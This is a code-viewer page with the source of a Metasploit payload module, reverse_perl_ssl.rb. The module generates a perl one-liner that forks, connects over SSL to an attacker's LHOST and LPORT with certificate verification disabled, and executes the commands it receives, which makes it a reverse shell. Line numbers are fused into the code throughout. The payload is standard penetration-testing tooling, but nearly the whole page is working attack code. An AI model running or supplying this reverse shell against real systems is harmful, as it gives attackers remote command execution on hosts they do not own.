Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 173910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',16'Description' => 'Creates an interactive shell via perl, uses SSL',17'Author' => 'RageLtMan <rageltman[at]sempervictus>',18'License' => BSD_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcpSsl,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'perl',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31register_advanced_options(32[33OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])34]35)36end3738#39# Constructs the payload40#41def generate(_opts = {})42vprint_good(command_string)43return super + command_string44end4546#47# Returns the command string to use for execution48#49def command_string50lhost = datastore['LHOST']51ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""52lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)53cmd = "#{datastore['PerlPath']} -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"54cmd += "$c=IO::Socket::SSL->new(PeerAddr=>\"#{lhost}:#{datastore['LPORT']}\",SSL_verify_mode=>0);"55cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"56end57end585960